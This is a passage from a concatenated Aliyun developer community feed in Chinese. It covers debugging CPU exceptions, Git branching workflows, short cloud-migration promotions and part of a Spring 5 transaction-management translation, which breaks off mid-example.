    二号异常是访问错误异常,一般是访问了一个不存在的地址空间。 例如:

    uint32_t *temp;
    *temp = 1;
    

    如上代码,temp指针未初始化,如果直接给 temp指针指向的地址赋值,有可能导致二号异常,因为temp指向的地址是个随机值,该地址可能并不存在,或者不可以被写入。 二号异常也是最经常出现的异常,例如常见的错误有:

    • 内存访问越界
    • 线程栈溢出
    • 野指针赋值
    • 重复释放指针(free)

    请注意你代码里的 memset、memcpy、malloc、free 、strcpy等调用。

    大部分2号异常和1号异常的问题,异常的时候都不是第一现场了,也就是说异常点之前就已经出问题了。

    比如之前就出现了 memcpy的 内存访问越界,内存拷贝超出变量区域了。memcpy的时候是不会异常的,只有当程序使用了这些被memcpy 踩了内存时,才会出现一号或二号异常。

    这个时候异常点已经不是那个坑的地方了,属于“前人埋坑,后人遭殃”型问题。

    如果是一些很快就复现的问题,我们可以通过GDB watch命令,watch那些被踩的内存或变量来快速的定位是哪段代码踩了内存。

    如果是一些压测出现的问题,压测了2天,出了一个2号异常,恭喜你,碰到大坑了。类似这种,比较难复现的问题,watch已经不现实了。

    结合异常现场GDB查看变量、内存信息和review代码逻辑,倒推出内存踩踏点,是比较正确的途径。

    再有,就是在可疑的代码中加 log日志,增加压测的机器,构造缩短复现时间的case等一些技巧来加快BUG解决的速度。

    CPU Exception: NO.4/NO.7

    四号异常是指令非法,即这个地址上的内容并不是一条CPU机器指令,不能被执行。 七号异常是断点异常,也就是这个指令是断点指令,即 bktp 指令,这是调试指令,一般代码不会编译生成这种指令。 这两种异常大概率是 指针函数没有赋值就直接跳转了,或者是代码段被踩了

    例如:

    typedef void (*func_t)(void *argv);
    
    func_t f;
    void *priv = NULL;
    
    if (f != NULL) {
        f(priv);
    }

    如上代码,f是一个 函数指针,没有被赋值,是一个随机值。直接进行跳转,程序就肯定跑飞了。 这种异常,一般epc地址,都不在反汇编文件 yoc.asm 中。

    CPU Exception: NO.3

    3号异常是除零异常,也是最简单、最直接的一种异常。 例如:

    int a = 100;
    int b = 0;
    
    int c = a / b; 

    如上代码,b 变量位 0,除零就会出现 三号异常。

    3.5 不用GDB找到异常点

    有些时候无法使用GDB去查看异常点,或者搭环境不是很方便怎么办? 这个时候我们可以通过反汇编文件和epc地址来查看产生异常的函数。 打开yoc.asm 反汇编文件,在文件内搜索epc地址,就可以找到对应的函数,只是找不到对应的行号。

    例如:

    186d9b14 <board_yoc_init>:
    186d9b14:   14d3        push        r4-r6, r15
    186d9b16:   1430        subi        r14, r14, 64
    186d9b18:   e3ffffc6    bsr         0x186d9aa4  // 186d9aa4 <speaker_init>
    186d9b1c:   3001        movi        r0, 1
    186d9b1e:   e3fe3221    bsr         0x1869ff60  // 1869ff60 <av_ao_diff_enable>
    186d9b22:   e3fe4ca9    bsr         0x186a3474  // 186a3474 <booab_init>
    186d9b26:   e3fffe7d    bsr         0x186d9820  // 186d9820 <firmware_init>
    ...
    186d9bfc:   1010        lrw         r0, 0x188d1a50  // 186d9c3c <board_yoc_init+0x128>
    186d9bfe:   e00c6aeb    bsr         0x188671d4  // 188671d4 <printf>
    186d9c02:   ea231002    movih       r3, 4098
    186d9c06:   ea021111    movi        r2, 4369
    186d9c0a:   b340        st.w        r2, (r3, 0x0)
    186d9c0c:   1410        addi        r14, r14, 64
    186d9c0e:   1493        pop         r4-r6, r15
    186d9c12:   9821        ld.w        r1, (r14, 0x4)
    186d9c14:   07a4        br          0x186d9b5a  // 186d9b5a <board_yoc_init+0x46>
    186d9c14:   188d19c0    .long   0x188d19c0

    如上的汇编代码,根据异常的epc地址0x186d9c12,我们可以确认异常发生在board_yoc_init函数内。

    ]]>
    浅谈基于 Git 的版本控制工作流-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    博主说:本文借鉴了很多「 DRPrincess」博主的文章内容,在此对其表示感谢。

    为了更好的理解基于 Git 的版本控制工作流,我们不妨先来回答几个问题?

    • 什么是版本控制?
    • 什么是版本控制系统?
    • 为什么要做版本控制?
    • 为什么选择基于 Git 的版本控制?

    要回答这些问题,最好的方法,莫过于回顾一下版本控制的发展历史。

    因此,在本文中,我们就从「[版本控制简史」出发,揭开「基于 Git 的版本控制工作流」的神秘面纱。

    版本控制简史

    版本控制,是指对软件开发过程中各种程序代码、配置文件及说明文档等文件变更的管理。版本控制最主要的目的就是追踪文件的变更。它将什么时候、什么人更改了文件的什么内容等信息忠实地了记录下来。每一次文件的改变,文件的版本号都将增加。

    除了记录版本变更外,版本控制的另一个重要功能是并行开发。软件开发往往是多人协同作业,版本控制可以有效地解决版本的同步以及不同开发者之间的开发通信问题,提高协同开发的效率。并行开发中最常见的不同版本软件的错误修正问题也可以通过版本控制中分支与合并的方法有效地解决。

    但版本控制是目的而不是实现的工具,所以我们还需要通过某种工具来实现版本控制的目的,我们将这样的工具称之为 Version Controll System,缩写为 VCS,即版本控制系统。我们可以把一个版本控制系统简单的理解为一个“数据库”,在需要的时候,它可以帮我们完整地保存一个项目的快照。当我们需要查看一个之前的快照(称之为“版本”)时,版本控制系统可以显示出当前版本与上一个版本之间的所有改动的细节。

    早在 1986 年 12 月,Dick Grune 就以 shell 脚本的形式发布了第一个流行的版本控制系统 CVS 的雏形。1989 年 4 月,Brian Berliner 设计了 CVS 并编写了代码。CVS 是一个 C/S 系统,其设计思路为,在一台服务器上建立一个源代码库,库里可以存放许多不同项目的源程序,由源代码库管理员统一管理这些源程序。每个用户在使用源代码库之前,首先要把源代码库里的项目文件下载到本地,然后用户可以在本地任意修改,最后用 CVS 命令进行提交,由 CVS 源代码库统一管理修改。这样,就好像只有一个人在修改文件一样,既避免了冲突,又可以做到跟踪文件变化等。

    2000 年,CollabNet Inc 开发了 Subversion,缩写为 SVN,是一个开放源代码的版本控制系统,现已发展成了 Apache 基金会的项目。相对于 CVS,SVN 采用了分支管理系统,它的设计目标就是取代 CVS,但与 CVS 相同的是,SVN 也采用了 C/S 体系,项目的各种版本都存储在服务器上,程序开发人员首先将从服务器上获得一份项目的最新版本,并将其复制到本机,然后在此基础上,每个开发人员可以在自己的客户端进行独立的开发工作,并且可以随时将新代码提交给服务器。当然也可以通过更新操作获取服务器上的最新代码,从而保持与其他开发者所使用版本的一致性。

    2005 年,Linux 之父 Linus Torvalds 为了帮助管理 Linux 内核开发而开发了一个开放源码的版本控制软件 Git。说起来,Git 的诞生还有一些戏剧性,Linus 最初使用 BitKeeper 作为版本控制系统,但在 2005 年,Andrew Tridgell 写了一个程序,可以连接 BitKeeper 的存储库,BitKeeper 著作权拥有者 Larry McVoy 认为 Andrew Tridgell 对 BitKeeper 内部使用的协议进行逆向工程,决定收回无偿使用 BitKeeper 的许可。Linux 内核开发团队与 BitMover 公司进行磋商,但无法解决他们之间的歧见。最终,Linus Torvalds 决定自行开发版本控制系统替代 BitKeeper,就用十天的时间编写出了 Git 的第一个版本。

    如上所述,从 CVS、到 SVN、再到 Git 的变化,也是版本控制系统演进的过程。我们可以将 CVS、SVN 和 Git 大致分为两类:

    • 集中式版本控制系统:CVS 和 SVN 属于这一类。它们用集中管理的单一服务器,来保存所有文件修订版本,而协同工作的人们都通过客户端连到这台服务器,下载最新的代码或者是更新提交。但是如果中央服务器宕机了,那宕机的这一段时间,大家都无法更新提交更新,没法协同工作;更糟糕的情况下,如果中央服务器的数据没有做备份而且损坏,那么所有记录就都丢失了。
    • 分布式版本控制系统:Git 属于这一类。分布式版本控制系统最大的特点就是客户端并不只是提取最新版本的文件快照,而是把代码仓库完整地镜像下来,每个客户端其实都可以当做是中央服务器,当中央服务器数据损坏了,从任何一个本地客户端都可以重新恢复。而且我们可以随时随地提交代码,因为我们提交代码是提交到本地的服务器,所以效率大大提高。

    现如今,Git 应该算是最受欢迎的版本控制工具了。例如现在世界上最大的两个代码托管平台 GitHub 和 GitLab,都是基于 Git 进行版本控制的;在国内,大家使用较多的中文代码托管平台 Gitee,也是基于 Git 进行版本控制的。由此可见,Git 作为版本控制工具,其速度快、分布式等特性,深受大家喜爱的。因此,了解基于 Git 的版本控制工作流,还是与我们有益的!

    什么是工作流?

    工作流,即工作流程。在项目开发过程中,多人协作是很常见的现象,每个人拉取自己分支、实现自己的业务逻辑,虽然各自在分支上互不干扰,但是我们总归需要把分支合并到一起,而且真实项目中涉及到很多问题,例如版本迭代,版本发布,bug 修复等,为了更好的管理代码,需要制定一个工作流程,这就是我们说的工作流,也有人叫它分支管理策略。

    工作流不涉及任何命令,因为它就是一个规则,完全由开发者自定义,并且自行遵守,正所谓无规矩不成方圆,就是这个道理。其中,Git Flow 出现的最早,GitHub Flow 在 Git Flow 的基础上,做了一些优化,适用于持续版本的发布,而 GitLab Flow 出现的时间比较晚,所以综合了前面两种工作流的优点,制定而成的一种工作流。接下来,我们就详细了解这三个工作流。

    Git Flow

    Git Flow 是 Vincent Driessen 2010 年发布出来的他自己的分支管理模型,到现在为止,使用度非常高,可以说是一个非常成熟的 Git 工作流。Git Flow 的分支结构,按功能来说,可以分为 5 种分支,从 5 种分支的生命周期上,又可以分为长期分支和短期分支,或者更贴切的描述为,主要分支和辅助分支。

    主要分支

    在采用 Git Flow 工作流的项目中,代码的中央仓库会一直存在以下两个长期分支:

    • master
    • develop

    其中,origin/master分支上的最新代码永远是版本发布状态,origin/develop分支则是最新的开发进度。当develop上的代码达到一个稳定的状态,可以发布版本的时候,develop上这些修改会以某种特别方式被合并到master分支上,然后标记上对应的版本标签。

    辅助分支

    除了主要分支,Git Flow 的开发模式还需要一系列的辅助分支,来帮助更好的并行开发,简化功能开发和问题修复。辅助分支不需要一直存在,仅当我们需要的时候,创建辅助分支就可以,当我们不需要的时候,也可以删除辅助分支。辅助分支分为以下几类:

    • Feature Branch
    • Release Branch
    • Hotfix Branch

    Feature 分支用来做分模块功能开发,命名看开发者喜好,不要和其他类型的分支命名弄混淆就好,举个坏例子,命名为master就是一个非常不妥当的举动。模块完成之后,会合并到develop分支,然后删除自己。

    Release 分支用来做版本发布的预发布分支,建议命名为release-xxx。例如在软件1.0.0版本的功能全部开发完成,提交测试之后,从develop检出release-1.0.0,测试中出现的小问题,在release分支进行修改提交,测试完毕准备发布的时候,代码会合并到masterdevelopmaster分支合并后会打上对应版本标签v1.0.0,合并后删除自己,这样做的好处是,在测试的时候,不影响下一个版本功能并行开发。

    Hotfix 分支是用来做线上的紧急 bug 修复的分支,建议命名为hotfix-xxx。当线上某个版本出现了问题,将检出对应版本的代码,创建 Hotfix 分支,问题修复后,合并回masterdevelop,然后删除自己。这里注意,合并到master的时候,也要打上修复后的版本标签。

    Merge 加上 --no-ff 参数

    需要说明的是,Git Flow 的作者 Vincent Driessen 非常建议,合并分支的时候,加上--no-ff参数,这个参数的意思是不要选择 Fast-Forward 合并方式,而是策略合并,策略合并会让我们多一个合并提交。这样做的好处是保证一个非常清晰的提交历史,可以看到被合并分支的存在。下面是对比图,左侧是加上参数的,后者是普通的提交:

    git-merge

    示意图

    git-flow

    如上图所示,这是 Vincent Driessen 于 2010 年给出的 Git Flow 示意图,也是我们所有想要学习 Git Flow 的人都应该了解的一张图。图中画了 Git Flow 的五种分支,masterdevelopfeaturereleasehoxfixes,其中masterdevelop字体被加粗代表主要分支。master分支每合并一个分支,无论是hotfix还是release,都会打一个版本标签。通过箭头可以清楚的看到分支的开始和结束走向,例如feature分支从develop开始,最终合并回develophoxfixesmaster检出创建,最后合并回developmastermaster也打上了标签。

    GitHub Flow

    GitHub Flow 是世界上最大的代码托管平台,也称为“世界上最大的同性交友网站” GitHub 制定并使用的工作流,其是一个轻量级,基于分支的工作流,支持团队和项目的定期部署,由 Scott Chacon 在 2011 年 8月 31 号正式发布。

    模型说明

    在 GitHub Flow 中,只有一个长期分支master,而且master分支上的代码永远是可发布状态。一般来说,master会设置为受保护状态,只有有权限的人才能推送代码到master分支。以 GitHub 官方教程为准,遵循 GitHub Flow 需要经历以下几个步骤:

    • 创建分支
    • 添加提交
    • 提出 PR 请求
    • 讨论和评估你的代码
    • 部署
    • 合并

    简单解释一下,其大致流程为:如果有新功能开发、版本迭代或者 bug 修复等需求,我们就从master分支上检出新的分支;将检出的新分支代码拉取到本地,在本地环境中进行编码,完成后,向远程新分支仓库推送代码;当我们需要反馈问题、取得帮助,或者想合并分支代码时,可以发起一个 Pull Request,常简称为 PR;当我们的代码通过项目维护者(有权限向master分支合并代码的人)讨论和评估后,就可以部署代码;待部署完成、验证通过后,代码就应该被合并到目标分支。

    示意图

    github-flow

    与 Git Flow 的示意图相比,GitHub Flow 的示意图可以称得上简单明了,因为 GitHub Flow 推荐做法就是只有一个主分支master,团队成员们的分支代码通过 PR 来合并到主分支上。实际上,上面的图仅是创建分支的示意图,但无论是创建分支还是添加提交、提出 PR 请求等,都不过是围绕着主分支按照上述的流程推进而已,如果大家感兴趣,可以通过「 深入理解 GitHub Flow」查看全部示意图。

    特色功能

    因为 GItHub Flow 的初衷就是用于在 GitHub 上进行团队协作,所以借助于 GitHub 平台的功能,GItHub Flow 中也引入了一些比较实用的工作流程,其中最出色的两个功能莫过于 PR 与问题追踪了。

    PR

    在工作流中引入 PR,是 GItHub Flow 的一个特色,它的用处并不仅仅是合并分支,还有以下功能:

    • 控制分支合并权限
    • 问题讨论或者寻求其他小伙伴们的帮助
    • Code Review

    有了 PR 功能之后,相信我们再提交代码的时候,就得慎之又慎了。否则的话,代码写的太烂,就等着被喷吧!

    问题追踪

    在日常开发中,我们可能会用到很多第三方的开源库,如果使用过程中遇到了问题,我们可以去其 GitHub 仓库上搜索一下 Issue 列表,看看有没有人遇到过、项目维护者修复了没有,一般未解决的 Issue 是Open状态,已解决的 Issue 是Closed状态,这就是问题追踪。

    如果你是一个项目维护者,除了标记 Issue 的开启和关闭,还可以给它标记上不同的标签。当提交的时候,如果提交信息中有fix #1等字段,可以自动关闭对应编号的 Issue。

    GitLab Flow

    这个工作流十分地年轻,是 GitLab 的 CEO Sytse Sijbrandij 在 2014 年 9月 29 正式发布出来的。因为出现的比前面两种工作流稍微晚一些,所以它有个非常大的优势,集百家之长,补百家之短。GitLab 既支持 Git Flow 的分支策略,也支持 GitHub Flow 的 PR 和问题追踪。

    Git Flow & GitHub Flow 的瑕疵

    当 Git Flow 出现后,它解决了之前项目管理的很让人头疼的分支管理,但是实际使用过程中,也暴露了很多问题:

    • 默认工作分支是develop,但是大部分版本管理工具默认分支都是master,开始的时候总是需要切换很麻烦。
    • Hotfix 和 Release 分支在需要版本快速迭代的项目中,几乎用不到,因为刚开发完就直接合并到master发版,出现问题develop就直接修复发布下个版本了。
    • Hotfix 和 Release 分支,一个从master创建,一个从develop创建,使用完毕,需要合并回developmaster。而且在实际项目管理中,很多开发者会忘记合并回develop或者master

    GitHub Flow 的出现,非常大程度上简化了 Git Flow ,因为只有一个长期分支master,并且提供 GUI 操作工具,一定程度上避免了上述的几个问题,然而在一些实际问题面前,仅仅使用master分支显然有点力不从心,例如:

    • 版本的延迟发布(例如 iOS 应用审核到通过中间,可能也要在master上推送代码)
    • 不同环境的部署 (例如:测试环境,预发环境,正式环境)
    • 不同版本发布与修复 (是的,只有一个master分支真的不够用)

    GitLab Flow 解决方案

    为了解决上面提到的那些问题,GitLab Flow 给出了以下的解决方法。

    版本的延迟发布 Prodution Branch

    master分支不够,于是添加了一个prodution分支,专门用来发布版本。

    master-production

    不同环境的部署 Environment Branches & Upstream First

    每个环境,都对应一个分支,例如下图中的pre-productionprodution分支都对应不同的环境,这个工作流模型比较适用服务端,测试环境,预发环境,正式环境,一个环境建一个分支。

    这里要注意,代码合并的顺序,要按环境依次推送,确保代码被充分测试过,才会从上游分支合并到下游分支。除非是很紧急的情况,才允许跳过上游分支,直接合并到下游分支。这个被定义为一个规则,名字叫 “upstream first”,翻译过来是 “上游优先”。

    master-pre-production

    版本发布分支 Release Branches & Upstream First

    只有当对外发布软件的时候,才需要创建release分支。对外发布版本的记录是非常重要的,如果线上出现了一个问题,需要拿到问题出现对应版本的代码,才能准确定位问题。

    在 Git Flow 中,版本记录是通过master上的tag来记录的。发现问题,创建hotfix分支,完成之后合并到masterdevelop

    在 GitLab Flow 中,建议的做法是每一个稳定版本,都要从master分支拉出一个分支,比如2-3-stable2-4-stable等等。发现问题,就从对应版本分支创建修复分支,完成之后,先合并到master,然后才能再合并到release分支,遵循 “上游优先” 原则。

    master-stable

    分支命名实践

    现如今,越来越多的公司都会利用 GitLab 来搭建自己的代码托管平台,因此就以 GitLab Flow 为例,给出一个较好的分支命名实践。

    如果存在多个环境,则为每个环境建立一个长期分支,可以命名为:

    • master,表示主分支,用于生产环境;
    • beta,表示内测分支,用于内测环境;
    • test,表示测试分支,用于测试环境。

    在此,着重解释一下“内测环境”吧,实际上,内测环境应该是生产环境的一部分,是从生产环境隔离出来一部分用于内测,以保证线上回归测试时不影响真实的用户,因此两者共用一套生产数据库,仅是通过流量入口做区分。

    接下来,根据不同的目的,为新拉取的分支取不同的名称:

    • 如果是开发需求,则从master拉取新分支,命名为feature-1xx-2xx-3xx,其中每一部分都有不同的含义,如

      • feature为固定词,表示这是一个新特性分支;
      • 1xx表示新特性的描述,为防止分支名过长,可以用缩写;
      • 2xx表示新分支创建的时间,格式为YYYYMMDD
      • 3xx表示新分支的创建者,姓名拼音或者英文名均可。

    给出一个开发需求的分支命名示例,feature-SupportIM-20200711-chariesgavin,整个分支名称的含义就是,“某人在某时创建了某个功能的新特性分支”。开发、测试及代码合并的流程,大致如下:

    1. master分支拉取新的开发分支,进行编码,自测;
    2. 自测完成后,将代码合并到test分支,并且在test环境进行测试;
    3. test环境测试通过后,将代码合并到beta分支,并且在beta环境进行线上回归测试;
    4. beta环境测试通过后,将代码合并到master分支,并且将代码同步到生产环境;
    5. 生产环境上线后,就再从master分支打一个tag,其作用和稳定分支stable、发布分支release一样,用于回滚代码,命名为tag-xxx,其中xxx自定义即可,如版本号。

    如果线上的代码一直没问题,自然是万事大吉,但难免会遇到各种各样的问题。这时,我们就遇到了另一种场景,即 BUG 修复。

    • 如果是 BUG 修复,则从master拉取新分支,命名为hotfix-1xx-2xx-3xx,其中每一部分都有不同的含义,如

      • hotfix为固定词,表示这是一个修复 BUG 的分支;
      • 1xx表示 BUG 的描述,为防止分支名过长,可以用缩写;
      • 2xx表示新分支创建的时间,格式为YYYYMMDD
      • 3xx表示新分支的创建者,姓名拼音或者英文名均可。

    给出一个 BUG 修复分支命名示例,hotfix-messageRepeat-20200711-chariesgavin,整个分支名称的含义就是,“某人在某时创建了修复某个 BUG 的新分支”。理论上来说,BUG 修复的开发、测试及代码合并的流程应该和上述的开发需求是一致的,毕竟如果生产环境出现了问题,其他前置环境肯定也是跑不掉的,修复已知问题终归是值得提倡的;但在比较紧急的情况下,没有足够的时间让我们在不同的环境进行测试,该流程也是可以简化的,大致如下:

    1. master分支拉取新的开发分支,进行编码,自测;
    2. 自测完成后,将代码直接合并到beta分支,上线到内测环境进行测试;
    3. 内测环境通过后,再将代码合并到master分支,同步到生产环境,并从master分支打一个tag,备份稳定代码;
    4. 最后,再将修复 BUG 的代码同步到不同环境的稳定分支。

    在这里,有一点可能让我们诟病,那就是分支名称太长了。确实,当我们想把更多的信息都揉进一个名称的时候,难免会遇到这样的问题!但如果是feature-1.0或者hotfix-20200710这类名称,可能开发周期稍微长一些的时候,大家都容易忘了这样的分支到底是谁创建的、实现了什么功能吧?因此,与之相比,我感觉分支名称稍微长一些还是可以接受的。

    当然,就如 Git Flow 一样,任何工作流想要起作用,都需要我们认同它、打心里接受它,然后才能自觉的遵守其规范,毕竟,公司总不至于因为我们不遵守分支命名规范而开除我们吧?公司采取硬性规定的另算。但这些工作流之所以能得到大家广泛的认同,并且流传之广,自然还是尤其魅力的,或多或少还是能够提高团队协作效率的。采取与否,您来决定!


    参考资料

    ]]>
    电商行业业务及数据库上云-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    阿里云最佳实践频道:【点击查看更多上云最佳实践
    这里有丰富的企业上云最佳实践,从典型场景入门,提供一系列项目实践方案,降低企业上云门槛的同时满足您的需求!

    场景描述

    该方案适用于新零售领域的电商行业,包括电商公司初创,满足快速搭建平台;以及中型企业应对发展阶段,满足业务快速占领市场。对于头部客户搬站,方案借鉴参考。本文重点解决阿里云资源的开通配置,以及其他云厂商或自建的MySQL搬迁到阿里云RDS。

    方案优势

    • 通过SLB流量分发,快速扩展应用对外服务能力
    • 通过Redis缓解高并发的数据读写,QPS支持万级到千万级
    • 提供高可用的数据库架构,保障数据的可用性和可靠性
    • 将电商静态资源存储在oss,通过cdn分发,提升用户
      访问体验
    • 云产品,支持随时弹性升级、扩容配置

    产品列表

    • 云服务器 ECS
    • 数据库 RDS
    • 数据传输 DTS
    • 负载均衡 SLB
    • 专有络 VPC

    bp-8.png

    直达最佳实践 》》


    bp-8.png

    ]]>
    容器Swarm集群向ACK集群灰度迁移-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    阿里云最佳实践频道:【点击查看更多上云最佳实践
    这里有丰富的企业上云最佳实践,从典型场景入门,提供一系列项目实践方案,降低企业上云门槛的同时满足您的需求!

    场景描述

    随着K8S生态的完善,越来越多的客户需要从Swarm集群迁移向ACK集群,本实践向您介绍阿里云上的容器Swarm集群向ACK集群灰度迁移。

    解决问题

    • 迁移过程中维持业务的延续性
    • 迁移过程业务高可用
    • 迁移过程可灰度
    • 迁移过程可回滚
    • 迁移进度可把控

    产品列表

    • 专有网络 VPC
    • 云数据库 RDS MySQL
    • 容器服务 ACK
    • 云服务器 ECS

    bp-27.png

    直达最佳实践 》》


    bp-27.png

    ]]>
    金融行业从经典网络向VPC容器化改造-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    阿里云最佳实践频道:【点击查看更多上云最佳实践
    这里有丰富的企业上云最佳实践,从典型场景入门,提供一系列项目实践方案,降低企业上云门槛的同时满足您的需求!

    场景描述

    本实践介绍经典网络向VPC容器化改造实践以及配置步骤,可适用于金融等行业。

    解决问题

    • 经典网络管理困难
    • 应用发布不灵活
    • 运维效率低

    产品列表

    • 专有网络 VPC
    • 容器服务 Kubernetes版
    • 日志服务 SLS
    • 云数据库 RDS版
    • NAT网关
    • 容器镜像服务 ACR

    bp-43.png

    直达最佳实践 》》

    bp-43.png

    ]]>
    弹性裸金属自建ORACLE数据库单机版-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    阿里云最佳实践频道:【点击查看更多上云最佳实践
    这里有丰富的企业上云最佳实践,从典型场景入门,提供一系列项目实践方案,降低企业上云门槛的同时满足您的需求!

    场景描述

    本文重点解决在弹性裸金属(神龙)服务器上自建ORACLE数据库单机的问题,通过ESSD和神龙的搭配使用为业务系统提供强大的数据库性能支撑,展示云上数据库在备份和恢复上的优势。

    解决问题

    • 如何利用云上强劲资源,如神龙服务器、ESSD存储,支撑数据库高效稳健运行。
    • 如何利用云上资源和产品优势兼顾单机数据库的可用性。
    • 如何快速备份和恢复数据库数据,保证云上数据的安全性。

    产品列表

    • 专有网络 VPC
    • 弹性公网IP
    • 弹性裸金属服务器
    • 块存储

    bp-49.png

    直达最佳实践 》》

    bp-49.png

    ]]>
    Spring 5 中文解析数据存储篇-理解Spring事物抽象-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 Spring核心篇章:

    Spring 5 中文解析之核心篇-IoC容器

    Spring 5 中文解析核心篇-IoC容器之依赖关系

    Spring 5 中文解析核心篇-IoC容器之Bean作用域

    Spring 5 中文解析核心篇-IoC容器之自定义Bean性质

    Spring 5 中文解析核心篇-IoC容器之BeanDefinition继承与容器拓展点

    Spring 5 中文解析核心篇-IoC容器之基于注解的容器配置

    Spring 5 中文解析核心篇-IoC容器之类路径扫描和组件管理

    Spring 5 中文解析核心篇-IoC容器之JSR330标准注解

    Spring 5 中文解析核心篇-IoC容器之基于Java容器配置

    Spring 5 中文解析核心篇-IoC容器之Environment抽象

    Spring 5 中文解析核心篇-IoC容器之ApplicationContext与BeanFactory

    Spring 5 中文解析核心篇-IoC容器之Resources

    Spring 5 中文解析核心篇-IoC容器之数据校验、数据绑定和类型转换

    Spring 5 中文解析核心篇-IoC容器之SpEL表达式

    Spring 5 中文解析核心篇-IoC容器之AOP编程(上)")

    Spring 5 中文解析核心篇-IoC容器之AOP编程(下)")

    Spring 5 中文解析核心篇-IoC容器之Spring AOP API

    Spring测试篇章:

    Spring 5 中文解析测试篇-Spring测试

    Spring 5 中文解析核心篇-集成测试之概要和集成测试注解

    Spring 5 中文解析核心篇-集成测试之TestContext(上)")

    Spring 5 中文解析核心篇-集成测试之TestContext(中)")

    Spring 5 中文解析测试篇-集成测试之TestContext(下)")

    Spring 5 中文解析测试篇-Spring MVC测试框架

    Spring 5 中文解析测试篇-WebTestClient

    Spring存储篇章:

    Spring 5 中文解析数据存储篇-Spring框架的事物支持模型的优势

    完整电子书地址

    1.2 理解Spring框架事物抽象

    Spring事务抽象的关键是事务策略的概念。事务策略由TransactionManager定义,特别是用于命令式事务管理的org.springframework.transaction.PlatformTransactionManager接口和用于响应式事务管理的org.springframework.transaction.ReactiveTransactionManager接口。以下清单显示了PlatformTransactionManager API的定义:

    public interface PlatformTransactionManager extends TransactionManager {
    
        TransactionStatus getTransaction(TransactionDefinition definition) throws TransactionException;
    
        void commit(TransactionStatus status) throws TransactionException;
    
        void rollback(TransactionStatus status) throws TransactionException;
    }

    尽管你可以从应用程序代码中以编程方式使用它,但它主要是一个服务提供接口(SPI)。由于PlatformTransactionManager是接口,因此可以根据需要轻松对其进行模拟或存根。它与JNDI之类的查找策略无关。与Spring框架IoC容器中的任何其他对象(或bean)一样,定义了PlatformTransactionManager实现。这一优点使Spring框架事务成为值得抽象的,即使在使用JTA时也是如此。与直接使用JTA相比,你可以更轻松地测试事务代码。

    同样,为了与Spring的理念保持一致,可以由任何PlatformTransactionManager接口方法抛出的TransactionException未检查异常(也就是说,它扩展了java.lang.RuntimeException类)。事物基础架构故障几乎总是致命的。在极少数情况下,应用程序代码实际上可以从事务失败中恢复,应用程序开发人员仍然可以选择捕获和处理TransactionException。实际一点是,开发人员没有被迫这样做。

    getTransaction(..)方法根据TransactionDefinition参数返回TransactionStatus对象。如果当前调用堆栈中存在匹配的事务,则返回的TransactionStatus可能表示一个新事务或一个现有事务。后一种情况的含义是,与Java EE事务上下文一样,TransactionStatus与执行线程相关联。

    从Spring框架5.2开始,Spring还为使用响应式类型或Kotlin协程的响应式应用程序提供了事务管理抽象。以下清单显示了由org.springframework.transaction.ReactiveTransactionManager定义的事务策略:

    public interface ReactiveTransactionManager extends TransactionManager {
    
        Mono<ReactiveTransaction> getReactiveTransaction(TransactionDefinition definition) throws TransactionException;
    
        Mono<Void> commit(ReactiveTransaction status) throws TransactionException;
    
        Mono<Void> rollback(ReactiveTransaction status) throws TransactionException;
    }

    响应式事务管理器主要是服务提供接口(SPI),尽管你可以从应用程序代码中以编程方式使用它。由于ReactiveTransactionManager是接口,因此可以根据需要轻松对其进行模拟或存根。

    TransactionDefinition接口指定:

    • 传播:通常,事务范围内的所有代码都在该事务中运行。但是,如果在已存在事务上下文的情况下运行事务方法,则可以指定行为。例如,代码可以在现有事务中继续运行(常见情况),或者可以暂停现有事务并创建新事务。Spring提供了EJB CMT熟悉的所有事务传播选项。要了解有关Spring中事务传播的语义的信息,请参阅事务传播
    • 隔离:此事务与其他事务的工作隔离的程度。例如,此事务能否看到其他事务未提交的写入?
    • 超时:该事务在超时之前将运行多长时间,并由基础事务基础结构自动回滚。
    • 只读状态:当代码读取但不修改数据时,可以使用只读事务。在某些情况下,例如使用Hibernate时,只读事务可能是有用的优化。

    这些设置反映了标准的事物概念。如有必要,请参考讨论事务隔离级别和其他核心事务概念的资源。了解这些概念对于使用Spring框架或任何事务管理解决方案至关重要。

    TransactionStatus接口为事务代码提供了一种控制事务执行和查询事务状态的简单方法。这些概念应该很熟悉,因为它们对于所有事务API都是通用的。以下清单显示了TransactionStatus接口:

    public interface TransactionStatus extends TransactionExecution, SavepointManager, Flushable {
    
        @Override
        boolean isNewTransaction();
    
        boolean hasSavepoint();
    
        @Override
        void setRollbackOnly();
    
        @Override
        boolean isRollbackOnly();
    
        void flush();
    
        @Override
        boolean isCompleted();
    }

    无论你在Spring中选择声明式还是编程式事务管理,定义正确的TransactionManager实现都是绝对必要的。通常,你可以通过依赖注入来定义此实现。TransactionManager实现通常需要了解其工作环境:JDBCJTAHibernate等。

    TransactionManager实现通常需要了解其工作环境:JDBCJTAHibernate等。以下示例显示了如何定义本地PlatformTransactionManager实现(在这种情况下,使用纯JDBC)。

    你可以通过创建类似于以下内容的bean来定义JDBC数据源:

    <bean id="dataSource" class="org.apache.commons.dbcp.BasicDataSource" destroy-method="close">
        <property name="driverClassName" value="${jdbc.driverClassName}" />
        <property name="url" value="${jdbc.url}" />
        <property name="username" value="${jdbc.username}" />
        <property name="password" value="${jdbc.password}" />
    </bean>

    然后,相关的PlatformTransactionManager Bean定义将引用DataSource定义。它应类似于以下示例:

    <bean id="txManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager">
        <property name="dataSource" ref="dataSource"/>
    </bean>

    如果你在Java EE容器中使用JTA,则可以使用通过JNDI获得的容器DataSource以及Spring的JtaTransactionManager。以下示例显示了JTAJNDI查找:

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:jee="http://www.springframework.org/schema/jee"
        xsi:schemaLocation="
            http://www.springframework.org/schema/beans
            https://www.springframework.org/schema/beans/spring-beans.xsd
            http://www.springframework.org/schema/jee
            https://www.springframework.org/schema/jee/spring-jee.xsd">
    
        <jee:jndi-lookup id="dataSource" jndi-name="jdbc/jpetstore"/>
    
        <bean id="txManager" class="org.springframework.transaction.jta.JtaTransactionManager" />
    
